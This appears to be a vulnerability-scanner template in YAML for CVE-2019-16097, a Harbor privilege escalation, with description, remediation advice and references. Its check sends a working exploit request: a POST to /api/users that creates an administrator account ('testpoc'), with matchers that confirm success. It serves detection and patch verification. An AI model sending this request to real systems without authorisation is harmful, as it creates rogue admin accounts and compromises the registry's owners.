56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2019-16097
|
|
|
|
info:
|
|
name: Harbor <=1.82.0 - Privilege Escalation
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
|
|
remediation: Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP.
|
|
reference:
|
|
- https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
|
|
- https://github.com/goharbor/harbor/issues/8951
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-16097
|
|
- https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517
|
|
- http://www.vmware.com/security/advisories/VMSA-2019-0015.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2019-16097
|
|
cwe-id: CWE-862
|
|
epss-score: 0.96909
|
|
epss-percentile: 0.99619
|
|
cpe: cpe:2.3:a:linuxfoundation:harbor:1.7.0:-:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: linuxfoundation
|
|
product: harbor
|
|
tags: cve,cve2019,intrusive,harbor
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- '{{BaseURL}}/api/users'
|
|
|
|
body: |
|
|
{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@interact.sh", "realname": "poc"}
|
|
|
|
headers:
|
|
Content-Type: application/json
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: response
|
|
words:
|
|
- "username has already been used"
|
|
- "Location: /api/users/"
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 201
|
|
- 409
|
|
condition: or
|
|
|
|
# digest: 4b0a00483046022100dcb4d0639300e7a4e3f138636c61e9b1c0feeb2e6ed09cedbc7e69d793e64abe0221009c60693754b06841bd61befd6e688bf57b6af178e4bd7ed46e7b40f1ba1b1d3e:922c64590222798bb761d5b6d8e72950
|